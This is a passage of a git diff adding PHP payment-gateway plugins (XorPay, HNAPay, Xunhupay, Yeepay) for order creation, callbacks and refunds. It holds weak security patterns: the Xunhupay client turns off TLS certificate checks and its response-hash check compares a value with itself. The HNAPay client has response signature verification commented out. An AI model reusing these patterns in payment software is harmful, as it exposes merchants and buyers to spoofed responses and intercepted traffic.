['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + } + } + + //扫码支付 + static private function qrcode($pay_type){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + $apiurl = 'https://xorpay.com/api/pay/'.$channel['appid']; + $param = [ + 'name' => $ordername, + 'pay_type' => $pay_type, + 'price' => $order['realmoney'], + 'order_id' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + $param['sign'] = md5($param['name'].$param['pay_type'].$param['price'].$param['order_id'].$param['notify_url'].$channel['appkey']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($apiurl, $param) { + $data = get_curl($apiurl, http_build_query($param)); + $result = json_decode($data, true); + + if(isset($result['status']) && $result['status']=='ok'){ + $code_url = $result['info']['qr']; + }else{ + throw new Exception($result['status']?$result['status']:'返回数据解析失败'); + } + return $code_url; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::qrcode('alipay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + global $siteurl, $device, $mdevice; + try{ + $code_url = self::qrcode('native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($mdevice == 'wechat' || checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信收银台支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + if($_GET['d']=='1'){ + $redirect_url=$siteurl.'pay/return/'.TRADE_NO.'/'; + }else{ + $redirect_url=$siteurl.'pay/ok/'.TRADE_NO.'/'; + } + + $apiurl = 'https://xorpay.com/api/cashier/'.$channel['appid']; + $param = [ + 'name' => $ordername, + 'pay_type' => 'jsapi', + 'price' => $order['realmoney'], + 'order_id' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $redirect_url, + ]; + $param['sign'] = md5($param['name'].$param['pay_type'].$param['price'].$param['order_id'].$param['notify_url'].$channel['appkey']); + + $html_text = '
    '; + foreach($param as $k => $v) { + $html_text .= "\n"; + } + $html_text .= '
    '; + + return ['type'=>'html','data'=>$html_text]; + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl; + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + + + //异步回调 + static public function notify(){ + global $channel, $order; + + $sign = md5($_POST['aoid'].$_POST['order_id'].$_POST['pay_price'].$_POST['pay_time'].$channel['appkey']); + + if(isset($_POST['aoid']) && $sign===$_POST["sign"]){ + $out_trade_no = daddslashes($_POST['order_id']); + $api_trade_no = daddslashes($_POST['aoid']); + $money = $_POST['pay_price']; + $data = json_decode($_POST['detail'], true); + $buyer = $data['buyer']; + + if ($out_trade_no == TRADE_NO && round($money,2)==round($order['realmoney'],2)) { + processNotify($order, $api_trade_no, $buyer); + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'fail']; + } + + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel, $conf; + if(empty($order))exit(); + + $apiurl = 'https://xorpay.com/api/refund/'.$order['api_trade_no']; + $param = [ + 'price' => $order['refundmoney'], + ]; + $param['sign'] = md5($param['price'].$channel['appkey']); + + $data = get_curl($apiurl, http_build_query($param)); + $result = json_decode($data, true); + + if(isset($result['status']) && $result['status']=='ok'){ + return ['code'=>0]; + }else{ + return ['code'=>-1, 'msg'=>$result['info']?$result['info']:'接口返回错误']; + } + } + +} \ No newline at end of file diff --git a/plugins/xsy/lib/PayClient.php b/plugins/xsy/lib/PayClient.php new file mode 100644 index 0000000..9de616a --- /dev/null +++ b/plugins/xsy/lib/PayClient.php @@ -0,0 +1,137 @@ +appid = $appid; + $this->public_key = $public_key; + $this->private_key = $private_key; + if($isTest) $this->gateway_url = 'https://gateway-hpxtest1.hnapay.com/order'; + } + + //发起API请求 + public function request($path, $data){ + $data = array_filter($data, function ($value) { + return $value !== null; + }); + $requrl = $this->gateway_url . $path; + + $param = [ + 'reqId' => random(60), + 'orgNo' => $this->appid, + 'reqData' => $data, + 'signType' => self::SIGN_TYPE, + 'timestamp' => $this->getMillisecond(), + 'version' => self::VERSION + ]; + $param['sign'] = $this->generateSign($param); + $body = json_encode($param, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + + $response = get_curl($requrl, $body, 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + + $result = json_decode($response, true); + + if(isset($result['code']) && $result['code']=='0000'){ + /*if (!empty($result['sign']) && strpos($path, '/merchant/queryApplyResult')===false) { + if(!$this->verifySign($result, null)) throw new Exception('返回数据验签失败'); + }*/ + return $result['respData']; + }else{ + throw new Exception($result['msg']?$result['msg']:'返回数据解析失败'); + } + } + + //异步回调验证 + public function verifySign($data, $rawdata) + { + if(!isset($data['sign'])) return false; + + return $this->rsaPublicVerify($this->getSignContent($data, $rawdata), $data['sign']); + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //获取待签名字符串 + private function getSignContent($param, $rawdata = null){ + if(isset($param['respData']) && is_array($param['respData'])){ + if($rawdata){ + $param['respData'] = getSubstr($rawdata, '"respData":', ',"sign"'); + }else{ + foreach ($param['respData'] as $k => $v) { + if ($v === '' || $v === null) { + unset($param['respData'][$k]); + } + } + $param['respData'] = json_encode($param['respData'], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + } + } + if(isset($param['reqData']) && is_array($param['reqData'])){ + $param['reqData'] = json_encode($param['reqData'], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + } + + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=='' && $v!==null){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //商户私钥签名 + private function rsaPrivateSign($data){ + $key = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->private_key, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $privatekey = openssl_get_privatekey($key); + if(!$privatekey){ + throw new Exception('签名失败,商户私钥错误'); + } + openssl_sign($data, $sign, $privatekey); + return base64_encode($sign); + } + + //平台公钥验签 + private function rsaPublicVerify($data, $sign){ + $key = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($this->public_key, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $publickey = openssl_get_publickey($key); + if (!$publickey) { + throw new \Exception("验签失败,平台公钥错误"); + } + $result = openssl_verify($data, base64_decode($sign), $publickey); + return $result === 1; + } + + /** + * 获取毫秒级时间戳 + * @return float + */ + private function getMillisecond() + { + list($s1, $s2) = explode(' ', microtime()); + return (float)sprintf('%.0f', (floatval($s1) + floatval($s2)) * 1000); + } + +} \ No newline at end of file diff --git a/plugins/xsy/xsy_plugin.php b/plugins/xsy/xsy_plugin.php new file mode 100644 index 0000000..52a5f64 --- /dev/null +++ b/plugins/xsy/xsy_plugin.php @@ -0,0 +1,343 @@ + 'xsy', // 插件标识 + 'showname' => '新生易', // 插件显示名称 + 'author' => '新生易', // 作者信息 + 'link' => 'https://www.hnapay.com/', // 支付官网 + 'types' => ['wxpay', 'alipay', 'bank'], // 可支持的支付类型 + 'inputs' => [ // 配置信息表单 + 'appid' => [ + 'name' => '机构代码', + 'type' => 'input', + ], + 'appkey' => [ + 'name' => '平台公钥', + 'type' => 'textarea', + ], + 'appsecret' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + ], + 'appmchid' => [ + 'name' => '商户编号', + 'type' => 'input', + ], + 'appswitch' => [ + 'name' => '环境选择', + 'type' => 'select', + 'options' => [0=>'生产环境',1=>'测试环境'], + ], + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => '生活号支付', + ], + 'bindwxmp' => true, // 绑定微信公众号 + 'bindwxa' => true, // 绑定微信小程序 + 'note' => '', + ]; + + public static function submit() + { + global $siteurl, $channel, $order; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile() && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + public static function mapi() + { + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile' && $channel['appwxa']>0){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码支付 + private static function qrcode($pay_type) + { + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + require(PAY_ROOT . 'lib/PayClient.php'); + + $param = [ + 'merchantNo' => $channel['appmchid'], + 'orderNo' => TRADE_NO, + 'amt' => intval(round($order['realmoney']*100)), + 'payType' => $pay_type, + 'subject' => $order['name'], + 'trmIp' => $clientip, + 'customerIp' => $clientip, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/' + ]; + + $client = new \xsy\PayClient($channel['appid'], $channel['appkey'], $channel['appsecret'], $channel['appswitch'] == 1); + return \lib\Payment::lockPayData(TRADE_NO, function () use ($client, $param) { + $result = $client->request('/trade/activeScan', $param); + if(strpos($result['payUrl'], 'qrContent=')){ + $result['payUrl'] = getSubstr($result['payUrl'], 'qrContent=', '&sign='); + } + return $result['payUrl']; + }); + } + + //公众号小程序支付 + private static function jsapi($pay_type, $pay_way, $userid, $appid = null) + { + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + require(PAY_ROOT . 'lib/PayClient.php'); + + $param = [ + 'merchantNo' => $channel['appmchid'], + 'orderNo' => TRADE_NO, + 'amt' => intval(round($order['realmoney']*100)), + 'payType' => $pay_type, + 'payWay' => $pay_way, + 'subAppId' => $appid, + 'userId' => $userid, + 'subject' => $order['name'], + 'trmIp' => $clientip, + 'customerIp' => $clientip, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/' + ]; + + $client = new \xsy\PayClient($channel['appid'], $channel['appkey'], $channel['appsecret'], $channel['appswitch'] == 1); + return \lib\Payment::lockPayData(TRADE_NO, function () use ($client, $param) { + $result = $client->request('/trade/jsapiScan', $param); + return $result; + }); + } + + //支付宝扫码支付 + public static function alipay() + { + global $channel, $siteurl, $mdevice; + if(in_array('2',$channel['apptype']) && !in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + }else{ + try { + $code_url = self::qrcode('ALIPAY'); + } catch (Exception $e) { + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + } + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //支付宝生活号支付 + public static function alipayjs() + { + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + try{ + $retData = self::jsapi('ALIPAY', '02', $user_id); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$retData['source'], 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + public static function wxpay() + { + global $siteurl, $device; + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + if (checkmobile() || $device=='mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $result = self::jsapi('WECHAT', '02', $openid, $wxinfo['appid']); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + $payinfo = ['appId'=>$result['payAppId'], 'timeStamp'=>$result['payTimeStamp'], 'nonceStr'=>$result['paynonceStr'], 'package'=>$result['payPackage'], 'signType'=>$result['paySignType'], 'paySign'=>$result['paySign']]; + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>json_encode($payinfo), 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $result = self::jsapi('WECHAT', '03', $openid, $wxinfo['appid']); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + + $payinfo = ['appId'=>$result['payAppId'], 'timeStamp'=>$result['payTimeStamp'], 'nonceStr'=>$result['paynonceStr'], 'package'=>$result['payPackage'], 'signType'=>$result['paySignType'], 'paySign'=>$result['paySign']]; + + exit(json_encode(['code'=>0, 'data'=>$payinfo])); + } + + //微信手机支付 + static public function wxwappay(){ + global $channel; + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + } + + //云闪付扫码支付 + public static function bank() + { + try { + $url = self::qrcode('UNIONPAY'); + } catch (Exception $e) { + return ['type'=>'error','msg'=>'云闪付下单失败!'.$e->getMessage()]; + } + return ['type' => 'qrcode', 'page' => 'bank_qrcode', 'url' => $url]; + } + + //回调 + public static function notify() + { + global $channel, $order; + $data = file_get_contents('php://input'); + $arr = json_decode($data, true); + if (!$arr) return ['type' => 'html', 'data' => '{"code":"nodata"}']; + + require(PAY_ROOT . 'lib/PayClient.php'); + $client = new \xsy\PayClient($channel['appid'], $channel['appkey'], $channel['appsecret'], $channel['appswitch'] == 1); + + try { + if (!$client->verifySign($arr, $data)){ + return ['type' => 'html', 'data' => '{"code":"fail"}']; + } + $out_trade_no = $arr['respData']['orderNo']; + $api_trade_no = $arr['respData']['outOrderNo']; + $buyer = $arr['respData']['buyerId']; + if($out_trade_no == TRADE_NO){ + processNotify($order, $api_trade_no, $buyer); + } + return ['type' => 'html', 'data' => '{"code":"success"}']; + } catch (Exception $e) { + return ['type' => 'html', 'data' => '{"code":"'.$e->getMessage().'"}']; + } + } + + //同步回调 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //退款 + public static function refund($order) + { + global $channel, $order; + + require(PAY_ROOT . 'lib/PayClient.php'); + + $param = [ + 'merchantNo' => $channel['appmchid'], + 'orderNo' => $order['refund_no'], + 'origOrderNo' => $order['trade_no'], + 'amt' => intval(round($order['refundmoney']*100)) + ]; + + try { + $client = new \xsy\PayClient($channel['appid'], $channel['appkey'], $channel['appsecret'], $channel['appswitch'] == 1); + $result = $client->request('/trade/refund', $param); + return ['code' => 0, 'trade_no'=>$result['orderNo'], 'refund_fee'=>$result['amt']/100]; + } catch (Exception $e) { + return ['code' => -1, 'msg' => $e->getMessage()]; + } + } +} \ No newline at end of file diff --git a/plugins/xunhupay/inc/XunhupayClient.php b/plugins/xunhupay/inc/XunhupayClient.php new file mode 100644 index 0000000..d8a6ca1 --- /dev/null +++ b/plugins/xunhupay/inc/XunhupayClient.php @@ -0,0 +1,117 @@ +appid = $appid; + $this->appsecret = $appsecret; + if(!empty($apiurl)) { + $this->apiurl = $apiurl; + } + } + + //发起支付 + public function do_payment($params){ + return $this->execute($this->apiurl, $params); + } + + //查询订单 + public function query_payment($params){ + $url = str_replace('/payment/do.html', '/payment/query.html', $this->apiurl); + return $this->execute($url, $params); + } + + //发起通用请求 + public function execute($url, $params){ + $publicParams = [ + 'appid' => $this->appid, + 'time' => time(), + 'nonce_str' => str_shuffle(time()) + ]; + $params = array_merge($publicParams, $params); + $params['hash'] = $this->generate_hash($params, $this->appsecret); + $response = $this->curl_post($url, json_encode($params)); + $result = json_decode($response, true); + if(isset($result['errcode']) && $result['errcode']==0){ + $hash = $this->generate_hash($result, $this->appsecret); + if(!isset($result['hash']) || $hash !== $hash){ + throw new \Exception('返回数据签名校验失败'); + } + return $result; + }else{ + throw new \Exception($result['errmsg']?$result['errmsg']:'返回数据解析失败'); + } + } + + //二维码图片链接解析二维码链接 + public function parseQrcode($url_qrcode){ + $redirect_url = $this->get_redirect_url($url_qrcode); + if($redirect_url){ + $url = getSubstr($redirect_url, 'data=', '&'); + if($url){ + return base64_decode($url); + } + } + throw new \Exception('获取二维码链接失败'); + } + + public function verify($arr){ + if(!isset($arr['hash'])) return false; + $hash = $this->generate_hash($arr, $this->appsecret); + return $hash === $arr['hash']; + } + + private function curl_post($url, $post, $timeout = 10){ + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Connection: close"; + $httpheader[] = "Content-Type: application/json; charset=utf-8"; + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $post); + $response = curl_exec($ch); + curl_close($ch); + return $response; + } + + private function get_redirect_url($url, $timeout = 10){ + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Connection: close"; + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_exec($ch); + $redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL); + curl_close($ch); + return $redirect_url; + } + + private function generate_hash($param, $key){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "hash" && $v!=='' && !is_null($v)){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + $sign = md5($signstr.$key); + return $sign; + } +} \ No newline at end of file diff --git a/plugins/xunhupay/xunhupay_plugin.php b/plugins/xunhupay/xunhupay_plugin.php new file mode 100644 index 0000000..403c354 --- /dev/null +++ b/plugins/xunhupay/xunhupay_plugin.php @@ -0,0 +1,147 @@ + 'xunhupay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '虎皮椒支付', //支付插件显示名称 + 'author' => '虎皮椒', //支付插件作者 + 'link' => 'https://www.xunhupay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户ID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => 'API密钥', + 'type' => 'input', + 'note' => '', + ], + 'appurl' => [ + 'name' => '网关地址', + 'type' => 'input', + 'note' => '不填写默认为https://api.xunhupay.com/payment/do.html', + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + $typename = $order['typename']; + return self::$typename(); + } + + //通用下单 + static private function addOrder($type){ + global $channel, $order, $ordername, $conf, $clientip, $siteurl, $device; + + require_once(PAY_ROOT."inc/XunhupayClient.php"); + + $params = [ + 'version' => '1.1', + 'trade_order_id'=> TRADE_NO, + 'payment' => $type, + 'total_fee' => $order['realmoney'], + 'title' => $ordername, + 'notify_url'=> $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url'=> $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + + if($type == 'wechat' && (checkmobile() || $device=='mobile')){ + $params['type'] = 'WAP'; + $params['wap_url'] = $_SERVER['HTTP_HOST']; + $params['wap_name'] = $conf['sitename']; + } + + $client = new XunhupayClient($channel['appid'],$channel['appkey'],$channel['appurl']); + $result = $client->do_payment($params); + + if(checkmobile() || $device=='mobile'){ + return ['jump', $result['url']]; + }else{ + $code_url = $client->parseQrcode($result['url_qrcode']); + return ['qrcode', $code_url]; + } + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + [$type, $code_url] = self::addOrder('alipay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + + if($type == 'jump'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //微信扫码支付 + static public function wxpay(){ + try{ + [$type, $code_url] = self::addOrder('wechat'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($type == 'jump'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + if(!isset($_POST) || !isset($_POST['hash']) || !isset($_POST['trade_order_id'])) { + return ['type'=>'html','data'=>'data_fail']; + } + + require_once(PAY_ROOT."inc/XunhupayClient.php"); + + $client = new XunhupayClient($channel['appid'],$channel['appkey'],$channel['appurl']); + $verify_result = $client->verify($_POST); + if(!$verify_result) { + return ['type'=>'html','data'=>'sign_fail']; + } + + if($_POST['status']=='OD'){ + $out_trade_no = $_POST['trade_order_id']; + $order_id = $_POST['open_order_id']; + $total_fee = $_POST['total_fee']; + if($out_trade_no == TRADE_NO && round($total_fee,2)==round($order['realmoney'],2)){ + processNotify($order, $order_id); + } + return ['type'=>'html','data'=>'success']; + } + return ['type'=>'html','data'=>'fail']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + +} \ No newline at end of file diff --git a/plugins/yeepay/inc/YopClient.php b/plugins/yeepay/inc/YopClient.php new file mode 100644 index 0000000..ad9213d --- /dev/null +++ b/plugins/yeepay/inc/YopClient.php @@ -0,0 +1,330 @@ +appKey = $appKey; + $this->secretKey = $secretKey; + } + + //发起GET请求 + public function get($path, $params = null){ + return $this->request('GET', $path, $params); + } + + //发起POST请求 + public function post($path, $params){ + return $this->request('POST', $path, $params); + } + + //发起上传请求 + public function upload($path, $params){ + return $this->request('POST', $path, $params, true); + } + + //发起请求并解析返回结果 + public function request($httpMethod, $path, $params = null, $file = false) + { + $requrl = ($file ? self::$yosServerRoot : self::$serverRoot) . $path; + if($httpMethod == 'GET' && $params){ + $requrl .= '?' . http_build_query($params); + } + + foreach($params as &$value){ + if ($value instanceof \CURLFile || substr($value, 0, 1) == '@') continue; + $value = rawurlencode($value); + } + + $headers = $this->getSignedHeaders($httpMethod, $path, $params); + + if($httpMethod == 'POST'){ + $response = $this->curl($requrl, $params, $headers); + }else{ + $response = $this->curl($requrl, null, $headers); + } + + if($this->downRequest) return $response; + + $result = json_decode($response, true); + if(isset($result['result'])) { + return $result['result']; + }elseif(isset($result['subMessage'])){ + throw new Exception('['.$result['subCode'].']'.$result['subMessage']); + }elseif(isset($result['message'])){ + throw new Exception($result['message']); + }elseif(isset($result['error'])){ + throw new Exception($result['error']['message']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //结果通知解密 + public function notifyDecrypt($source) + { + //分解参数 + $args = explode('$', $source); + + if (count($args) != 4) { + throw new Exception('invalid response'); + } + + $encryptedRandomKeyToBase64 = $args[0]; + $encryptedDataToBase64 = $args[1]; + $symmetricEncryptAlg = $args[2]; + $digestAlg = $args[3]; + + //用私钥对随机密钥进行解密 + $randomKey = $this->rsaPrivateDecrypt($encryptedRandomKeyToBase64); + if (!$randomKey) { + throw new Exception('randomKey decrypt fail'); + } + + $encryptedData = openssl_decrypt(self::base64_urldecode($encryptedDataToBase64), "AES-128-ECB", $randomKey, OPENSSL_RAW_DATA); + if (!$encryptedData) { + throw new Exception('data decrypt fail'); + } + + //分解参数 + $signToBase64 = substr(strrchr($encryptedData, '$'), 1); + $sourceData = substr($encryptedData, 0, strlen($encryptedData) - strlen($signToBase64) - 1); + + if ($this->rsaPublicVerify($sourceData, $signToBase64, $digestAlg)) { + return json_decode($sourceData, true); + } else { + throw new Exception('verify sign fail'); + } + } + + //获取签名头部 + private function getSignedHeaders($httpMethod, $path, $params) + { + $timestamp = gmdate('Y-m-d\TH:i:s\Z', time());; + $headers = array(); + + $headers['x-yop-appkey'] = $this->appKey; + $headers['x-yop-request-id'] = self::uuid(); + + $protocolVersion = "yop-auth-v2"; + $expiredSeconds = "1800"; + + $authString = $protocolVersion . "/" . $this->appKey . "/" . $timestamp . "/" . $expiredSeconds; + + $headersToSignSet = ['x-yop-request-id']; + + // Formatting the query string with signing protocol. + $canonicalQueryString = $this->getCanonicalQueryString($params); + + // Sorted the headers should be signed from the request. + $headersToSign = $this->getHeadersToSign($headers, $headersToSignSet); + + // Formatting the headers from the request based on signing protocol. + $canonicalHeader = $this->getCanonicalHeaders($headersToSign); + + $signedHeaders = ""; + foreach ($headersToSign as $key => $value) { + $signedHeaders .= strlen($signedHeaders) == 0 ? "" : ";"; + $signedHeaders .= $key; + } + $signedHeaders = strtolower($signedHeaders); + + $canonicalRequest = $authString . "\n" . $httpMethod . "\n" . $path . "\n" . $canonicalQueryString . "\n" . $canonicalHeader; + + // Signing the canonical request using key with sha-256 algorithm. + $signToBase64 = $this->rsaPrivateSign($canonicalRequest); + + $headers['Authorization'] = "YOP-RSA2048-SHA256 " . $protocolVersion . "/" . $this->appKey . "/" . $timestamp . "/" . $expiredSeconds . "/" . $signedHeaders . "/" . $signToBase64; + return $headers; + } + + //获取规范查询字符串 + private function getCanonicalQueryString($params) + { + if(empty($params)) return ''; + ksort($params); + $str = ''; + foreach ($params as $k => $v) { + if ($v instanceof \CURLFile || substr($v, 0, 1) == '@') continue; + $str .= $k . '=' . $v . '&'; + } + $str = substr($str, 0, -1); + return $str; + } + + //获取待签名标头 + private function 